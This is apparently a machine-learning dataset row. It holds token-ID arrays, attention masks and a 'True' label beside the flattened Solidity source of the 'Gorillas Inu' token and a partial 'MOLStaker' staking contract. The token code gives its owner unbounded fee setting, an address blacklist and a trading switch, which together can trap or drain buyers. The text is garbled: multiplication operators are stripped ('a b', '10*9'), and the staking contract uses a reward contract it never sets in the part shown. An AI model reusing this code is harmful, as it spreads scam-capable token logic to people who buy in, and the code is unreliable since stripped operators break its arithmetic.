21318, 3372, 17788, 2575, 7172, 4017, 1010, 21318, 3372, 17914, 4660, 2378, 22494, 4859, 1007, 1025, 1065, 1013, 1013, 5371, 1024, 8311, 1013, 3976, 7959, 2098, 21572, 17258, 2121, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1017, 1025, 3206, 3976, 7959, 2098, 21572, 17258, 2121, 2003, 12997, 17599, 7959, 2098, 21572, 17258, 2121, 1063, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 4769, 4748, 10020, 1025, 12375, 1006, 21318, 3372, 2620, 1027, 1028, 4769, 1007, 2797, 3976, 7959, 2098, 2015, 1025, 9570, 2953, 1006, 1007, 1063, 4748, 10020, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1013, 1008, 1008, 1008, 5651, 1996, 6745, 3976, 2005, 1037, 3976, 5438, 1012, 1008, 2009, 7065, 8743, 2015, 2065, 1996, 5438, 8909, 2003, 19528, 1024, 2045, 2001, 2053, 3976, 5438, 4769, 3024, 2005, 1996, 2445, 8909, 2664, 1008, 1013, 3853, 2131, 26786, 25856, 17599, 1006, 21318, 3372, 2620, 1035, 3976, 7959, 2098, 3593, 1007, 6327, 3193, 2058, 15637, 5651, 1006, 20014, 17788, 2575, 1007, 1063, 5478, 1006, 3976, 7959, 2098, 2015, 1031, 1035, 3976, 7959, 2098, 3593, 1033, 999, 1027, 4769, 1006, 1014, 1007, 1010, 1000, 19528, 3976, 5438, 8909, 1000, 1007, 1025, 24089, 2615, 2509, 18447, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2022-03-20 / /* * Join the Gorillas via t.me/GorillasInu * / // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Gorillas is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Gorillas Inu"; string private constant _symbol = "Gorillas"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x45e1548fbAd78B6590B5843c621492deE4e9D4c0); address payable private _marketingAddress = payable(0xb4a00d1B858612acA0731e9d5eB377dF845c0059); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 10*9; uint256 public _maxWalletSize = 25000000 10*9; uint256 public _swapTokensAtAmount = 10000 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]) \|\| (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress \|\| _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress \|\| _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6021, 1011, 2322, 1008, 1013, 1013, 1008, 1008, 1008, 1008, 3693, 1996, 23526, 2015, 3081, 1056, 1012, 2033, 1013, 23526, 11493, 2226, 1008, 1008, 1008, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2340, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3206, 2219, 3085, 2003, 6123, 1063, 4769, 2797, 1035, 3954, 1025, 4769, 2797, 1035, 3025, 12384, 2121, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 9570, 2953, 1006, 1007, 1063, 4769, 5796, 5620, 10497, 2121, 1027, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 1025, 1035, 3954, 1027, 5796, 5620, 10497, 2121, 1025, 12495, 2102, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 1006, 1014, 1007, 1010, 5796, 5620, 10497, 2121, 1007, 1025, 1065, 3853, 3954, 1006, 1007, 2270, 3193, 5651, 1006, 4769, 1007, 1063, 2709, 1035, 3954, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 1035, 3954, 1027, 1027, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 1010, 1000, 2219, 3085, 1024, 20587, 2003, 2025, 1996, 3954, 1000, 1007, 1025, 1035, 1025, 1065, 3853, 17738, 17457, 12384, 2545, 5605, 1006, 1007, 2270, 7484, 2069, 12384, 2121, 1063, 12495, 2102, 6095, 6494, 3619, 7512, 5596, 1006, 1035, 3954, 1010, 4769, 1006, 1014, 1007, 1007, 1025, 1035, 3954, 1027, 4769, 1006, 1014, 1007, 1025, 1065, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2270, 7484, 2069, 12384, 2121, 1063, 5478, 1006, 2047, 12384, 2121, 999, 1027, 4769, 1006, 1014, 1007, 1010, 1000, 2219, 3085, 1024, 2047, 3954, 2003, 1996, 5717, 4769, 1000, 1007, 1025, 12495, 2102, 6095, 6494, 3619, 7512, 5596, 1006, 1035, 3954, 1010, 2047, 12384, 2121, 1007, 1025, 1035, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1065, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2020-11-28 / // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } abstract contract MOLContract { function balanceOf(address account) external view virtual returns (uint256); function transfer(address recipient, uint256 amount) external virtual returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external virtual returns (bool); } abstract contract RewardContract { function getLavaBalance() external view virtual returns (uint256); function giveLavaReward(address recipient, uint256 amount) external virtual returns (bool); } contract MOLStaker is Ownable { using SafeMath for uint256; MOLContract private _molContract; // mol token contract RewardContract private _rewardContract; // reward contract mapping (address => StakerInfo) private _stakeMap; // map for stakers address private _devWallet; // dev wallet address uint256 private _devLastClaimTimestamp; // dev wallet address address[] private _stakers; // staker's array uint256 private _totalStakedAmount = 0; // total staked amount uint256 private _minStakeAmount = 1e18; // min stakable amount uint256 private _rewardPortion = 10; // reward portion 10% uint256 private _rewardFee = 98; // reward fee 98%, rest for dev 2% uint256 private _taxFee = 3; // tax fee for transaction struct StakerInfo { uint256 stakedAmount; uint256 lastClaimTimestamp; uint256 rewardAmount; } // Events event Staked(address indexed staker, uint256 amount); event Unstaked(address indexed staker, uint256 amount); event Claim(address indexed staker, uint256 amount); constructor (MOLContract molContract, address devWallet) public { _molContract = molContract; _devWallet = devWallet; } function stake(uint256 amount) public { require( amount >= _minStakeAmount, "MOLStaker: stake amount is less than min stake amount." ); require( _molContract.transferFrom( _msgSender(), address(this), amount ), "MOLStaker: stake failed." ); uint256 taxAmount = amount.mul(_taxFee).div(100); uint256 realStakedAmount = amount.sub(taxAmount); uint256 currentTimestamp = uint256(now); if(_stakers.length == 0) _devLastClaimTimestamp = currentTimestamp; if(_stakeMap[_msgSender()].stakedAmount == 0) { _stakers.push(_msgSender()); _stakeMap[_msgSender()].lastClaimTimestamp = currentTimestamp; } else { _stakeMap[_msgSender()].rewardAmount = _stakeMap[_msgSender()].rewardAmount.add(calcReward(_msgSender(), currentTimestamp)); _stakeMap[_msgSender()].lastClaimTimestamp = currentTimestamp; } _stakeMap[_msgSender()].stakedAmount = _stakeMap[_msgSender()].stakedAmount.add(realStakedAmount); _totalStakedAmount = _totalStakedAmount.add(realStakedAmount); emit Staked(_msgSender(), realStakedAmount); } function unstake(uint256 amount) public { require( _stakeMap[_msgSender()].stakedAmount >= amount, "MOLStaker: unstake amount exceededs the staked amount." ); uint256 currentTimestamp = uint256(now); _stakeMap[_msgSender()].rewardAmount = _stakeMap[_msgSender()].rewardAmount.add(calcReward(_msgSender(), currentTimestamp)); _stakeMap[_msgSender()].lastClaimTimestamp = currentTimestamp; _stakeMap[_msgSender()].stakedAmount = _stakeMap[_msgSender()].stakedAmount.sub(amount); _totalStakedAmount = _totalStakedAmount.sub(amount); require( _molContract.transfer( _msgSender(), amount ), "MOLStaker: unstake failed." ); if(_stakeMap[_msgSender()].stakedAmount == 0) { _stakeMap[_msgSender()].lastClaimTimestamp = 0; for(uint i=0; i<_stakers.length; i++) { if(_stakers[i] == _msgSender()) { _stakers[i] = _stakers[_stakers.length-1]; _stakers.pop(); break; } } } emit Unstaked(_msgSender(), amount); } function claim() public { uint256 currentTimestamp = uint256(now); uint256 rewardAmount = _stakeMap[_msgSender()].rewardAmount.add(calcReward(_msgSender(), currentTimestamp)); _stakeMap[_msgSender()].lastClaimTimestamp = currentTimestamp; require( _rewardContract.giveLavaReward(_msgSender(), rewardAmount), "MOLStaker: claim failed." ); _stakeMap[_msgSender()].rewardAmount = 0; emit Claim(_msgSender(), rewardAmount); if(currentTimestamp.sub(_devLastClaimTimestamp) >= 86400) { rewardAmount = calcDevReward(currentTimestamp); _devLastClaimTimestamp = currentTimestamp; require( _rewardContract.giveLavaReward(_devWallet, rewardAmount), "MOLStaker: dev reward claim failed." ); emit Claim(_devWallet, rewardAmount); } } function endStake() external { unstake(_stakeMap[_msgSender()].stakedAmount); claim(); } function calcReward(address staker, uint256 currentTimestamp) private view returns (uint256) { if(_totalStakedAmount == 0) return 0; uint256 rewardPoolBalance = _rewardContract.getLavaBalance(); uint256 passTime = currentTimestamp.sub(_stakeMap[staker].lastClaimTimestamp); uint256 rewardAmountForStakers = rewardPoolBalance.mul(_rewardPortion).div(100).mul(_rewardFee).div(100); uint256 rewardAmount = rewardAmountForStakers.mul(passTime).div(86400).mul(_stakeMap[staker].stakedAmount).div(_totalStakedAmount); return rewardAmount; } function calcDevReward(uint256 currentTimestamp) private view returns (uint256) { uint256 rewardPoolBalance = _rewardContract.getLavaBalance(); uint256 passTime = currentTimestamp.sub(_devLastClaimTimestamp); uint256 rewardAmount = 